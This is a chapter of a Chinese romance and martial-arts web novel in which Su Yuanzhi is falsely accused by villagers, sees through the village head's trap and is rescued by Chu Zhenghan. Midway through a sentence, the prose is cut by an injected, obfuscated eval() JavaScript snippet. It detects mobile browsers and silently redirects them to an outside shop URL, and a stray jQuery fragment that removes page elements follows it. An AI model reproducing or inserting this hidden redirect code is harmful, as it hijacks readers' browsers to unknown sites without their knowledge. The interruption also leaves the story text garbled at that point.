楚铮寒拧起眉心,用手拨开村民指向苏沅芷的火把,火舌撩过他苍白的肌肤,他面不改色。
苏沅芷莫名其妙:“我?”
村民呸了一声:“别装不知道,铁匠铺银器失窃,你今日下午是不是在场!”
苏沅芷疑惑道:“我确实去了铁匠铺,但那时铺子里人流不少,你们为何笃定是我?”
“废话,我们村最不缺的就是这玩意,除了你们这种外乡人,没人会去偷!”
不缺银子?
听起来有话可以套。
她踏前两步越过楚铮寒:“若是不缺银子,那你们又何必为了一个银器大费周章?”
见她还敢主动向前,像是挑衅,村民语气急了些:“那银器不重要,重要的是里头的新鲜蔬果,况且,就算我们不缺你也不能偷!”
“这倒是神奇,弯崖村此地蔬果比银子还贵重,是蔬果少还是——银子多?”
意识到自己似乎被套话,村民无心周旋,大喊一声兄弟们冲,四周便纷纷朝苏沅芷发难。
火把与怒吼瞬间填满整个院子。
苏沅芷还未反应过来,便听见身后楚铮寒的声音低低响在头顶:“借我一用。”
什么?
她只感觉脑袋上一轻,簪子被轻巧抽出,盘着的头发倏地四散开来。
与此同时,一道青白色身影步履轻如燕,两步划至她身前。
乌发如瀑垂落,银簪如剑刺出。
楚铮寒二指夹簪,长臂绷直,竟是在一瞬间就用苏沅芷头上的簪子,抵在了为首那人的喉间。
那大汉也未想到楚铮寒武功如此高深,整个人如被点了穴位一般僵在原地,有冷汗从他鬓边滑落。
火光冲天,可楚铮寒却伫立在为数不多的阴影处,半张脸没入夜色,叫人难以分清喜怒。
开口时,他语气平静,淡淡吐出一句苏沅芷听不懂的方言。
话音刚落,那壮汉惊叫一声连连退后,方才还怒吼的村民们纷纷闭上嘴停止了靠近。
院子立刻陷入一种诡异的寂静,就连风都莫名停了,火把不再跳动,焰光更盛,把阴影里的楚铮寒彻底压成修罗面孔。
苏沅芷蹙起了眉头。
她总觉得,自她主动吻了楚铮寒后,他失控的次数变多了。
以往,他碍着师娘与徒弟这层身份,在她面前的行事作风总留有半分君子气,也算克己复礼。
可这几日里,他总在不经意间暴露出一种让人胆战心惊的违和。
与常人完全不同,在楚铮寒眼里,生与死没有区别,人与人也没有区别。
都不过是他一剑或一念之间就能解决的东西。
而当她因为那个吻被划入了他的世界后,那些他曾经隐藏起来的阴暗、控制与欲望,也变得昭然若揭。
像是一种无形的藤蔓在她身上扎根、渗透、绞杀。
心像是被拽着下沉,苏沅芷伸出手,扯住了楚铮寒的袖子。
可还未等她张口,庄夫人的声音,便响在了外头。
“你们!对着客人动手算什么本事!”
她带着几个侍卫气势汹汹进了院子,扫视一圈四周的村民,皱起眉头又骂了几句方言,待村民们低下头默默让为她出一条路后,她立刻小碎步跑到了苏沅芷面前。
“沈夫人,你没事吧?”
语气恳切,表情真挚。
苏沅芷缓缓眨了眨眼。
方才庄夫人喊的第一句话,是大部分村民听不懂的官话。
昨日,她是和庄夫人一齐去的铁匠铺,阿鸢也是在二人分别的瞬间偷走了她的钱袋。
且楚铮寒说,他是在村长宅邸附近,捉到阿鸢的。
瞬间,所有的线索串成了一条线。
这位村长夫人,从一开始就在试探她。
看来,这村子果然藏着什么。
楚铮寒似乎也察觉到了来者不善,二话不说便要打走庄夫人伸来的手。
可苏沅芷先握住了庄夫人的手,笑吟吟道:“我没事……”说着,她主动脱力,摔坐在了地上。
“哎,沈夫人!”庄夫人吓了一跳。
这一下摔得不重,但足以让楚铮寒蹙起眉头。
他连忙蹲下,用身子挡住庄夫人:“我抱你回……”
苏沅芷不动声色掐住楚铮寒的手臂,使了个眼色。
对视的瞬间,楚铮寒立刻会意,稍稍卷起她的裙边,换了个更低沉的语气:“你受伤了。”
苏沅芷前些天在逃跑时落下的伤还没好,虽然已经不疼了,但整个脚踝又红又肿,看着十分可怖。
见到这伤势,庄夫人语气沉了几分:“这伤实在严重,是我管教村民不当,实在抱歉。眼下村子的医馆都关了,要不您去我府上?我府上有不少医师和药材。”
苏沅芷抱歉地笑了笑:“麻烦您了。”
庄夫人叹了口气:“不麻烦。”说着,她伸出了手,想要扶起苏沅芷。
楚铮寒扫了一眼在笑的苏沅芷,眼神沉了沉,似是有什么想说,可最终只是转过身去,低低道:“我背你过去。”
苏沅芷牵住了庄夫人的手,无视了他:“不用。”
楚铮寒维持蹲着的姿势,背在身后的十指僵了僵。
她察觉到那人骤冷下去的气压,嘱咐道:“夜深了,阿鸢一个人,你得留下来保护好她。”
楚铮寒直起身子,未置可否,静静盯着她。
“李大人?”庄夫人察觉不对,出言试探。
听到这个称呼,苏沅芷眉心一跳。
楚铮寒化名姓李?
李家的李么?
……
疯子。
像是对这个称呼感到了餍足,楚铮寒睫毛颤了颤,忽然靠近撩起了她的头发。
两手圈在身边,呼吸喷洒耳侧,发丝连着发根,被梳起来时有些痒。
三个呼吸后,楚铮寒替她把发簪再度别了上去。
退后两步,似是在看一个他十分满意的作品,楚铮寒表情染上些许笑意。
“好,我会看好她的。”
-
村长的府邸比白日里看着更深。
穿过那株参天的榕树,过了天井,便是一处四方的厅堂。
雕梁繁复,月色从天井垂泄,烛火却压得很低,将四角都让给了阴影。
苏沅芷被引到主位旁的椅子上坐下。
医师迟迟未来。
她不动声色扫过厅堂,门口立着的两个侍卫,方才在院子里并未见过。
庄夫人让侍女退下,亲自斟了茶,推到她面前,笑意温吞:“沈夫人伤重如此,却坚持不让夫君跟着,是怕他担心?”
想起楚铮寒无时无刻缠上来的视线,苏沅芷背脊一凉,面上却镇定如常:“他向来爱操心。”
“男子爱操心总是好事,他这天一直在村子里帮忙,上到修房梁下到捉狸奴,样样精通,沈夫人是寻了个好人家啊。”
话里话外,似乎一直在试探她与楚铮寒的关系。
她抬头看去,天井之外,夜幕繁星灿烂,唯独有一块角落陷入昏黑,不见一颗星。
苏沅芷盯了片刻,忽然笑了笑。
庄夫人把她这一刻的笑容看在眼里:“看来,沈夫人也很满意这位夫君?”
苏沅芷看向她,摇摇头:“村长夫人为何总默认我与他是夫妻?”
庄夫人顿了顿,止住了喝茶的动作,脸上的笑意更加浓了:“看来是落花
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17647186|204210||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
无情,流水有意。”
苏沅芷扯出发间的银簪插入面前茶水,簪子没有变色。
她掀起眼皮环视四周,最终,眼神锁定在不远处一个燃着的香炉上:“啊,是这个。”
“果然不是内宅女子。”庄夫人神秘一笑。
“村长夫人可否有考虑这上头有天井,迷魂香会很容易散去?”
“自然,所以要捉住沈夫人的手段,也不止一个。”
说着,她缓缓起身,先前那几个引着她进宅子的侍卫,缓缓围了上来。
面对几个侍卫的包围,苏沅芷忽然端起冷掉的茶,喝了一口。
感觉口舌不再干燥后,她才娓娓道来:
“在下午初遇时,我故意用了京师一词,村长夫人怕我身份显贵,杀了会生事端,所以先让阿鸢来偷我贴身之物,发现我钱袋干净后,便组织了这一场大戏?”
“沈夫人聪慧,但还有一处错得太大。”
“错在哪?”
“错在伦理纲常。”
苏沅芷有些不解:“伦理纲常?”
“方才沈夫人问我,为何总默认你与李大人是夫妻。”
庄夫人背着手,踱步到苏沅芷面前:“因为这是伦理纲常——就像沈夫人也一直默认我是村长夫人一样。”
苏沅芷微微瞪大了眼睛:“所以,你就是村长?”
庄夫人对她颔首:“弯崖村村长,庄康义。”
若她是村长本人,那便说明,庄康义从一开始就在试探她。
“怪不得你会对我探查村子如此警惕——你知道当年那批官银的下落。”
官银二字一出,庄康义脸上的笑容倏地冷了。
她摇了摇头,转过身去,留给苏沅芷一个背手孤立的背影。
“沈夫人,知道得够多了,该上路了。”
语罢,侍卫一拥而上,马上要摁住她双肩。
千钧一发之际,苏沅芷轻笑一声:“庄村长只知道伦理纲常,却不知道,有些人根本不在乎它。”
庄康义顿了顿,侧过头看她:“什么意思?”
有伦理纲常,所以常人知道不能让孩子涉险,在听到她说要看好孩子的时候,会选择带着孩子留在家里。
可世上是有这么一个人。
表面克己复礼,毕恭毕敬,从来不让人抓到任何道德上的瑕疵。
实际上,却把这些伦理纲常视若空气,只做他自己。
所以,在她说出那句嘱咐之后,他不会陪着孩子留下,而是会……
苏沅芷仰起头,月光正正好照亮她下半张脸。
她对着那缺了一个角的星空,做出口型:
——楚铮寒。
上下唇闭上的瞬间,一道银光划开天井的静谧,带着嗡嗡的铮鸣声,擦过侍卫的手臂。
从未预料到的展开吓得侍卫们魂飞魄散,为了躲避这飞剑,他们不得不捂着手向后退去。
“什么人!”“快滚出来!”
话音未落,一道青白色身影,从天井处窜出。
他动作很轻,身后月光描出一层银白色轮廓,将他打磨得格外模糊。
似无形鬼影,幽幽落地。
那剑在厅堂里拐了个弯,直直朝他飞去。
楚铮寒一手揽着阿鸢,一手握住了那把剑,而后,他的目光越过侍卫和庄康义,落在了苏沅芷身上。
他眼神寒凉,总归是有些沉重的怨气在。
可对上这样一双眼,苏沅芷却笑了出来。
“李大人,真巧,”她顿了顿,弯起眼睛,“上头或许更方便,你怎么下来了?”
“不巧。”
楚铮寒喉结上下滚动。
“在上面,看不见你。”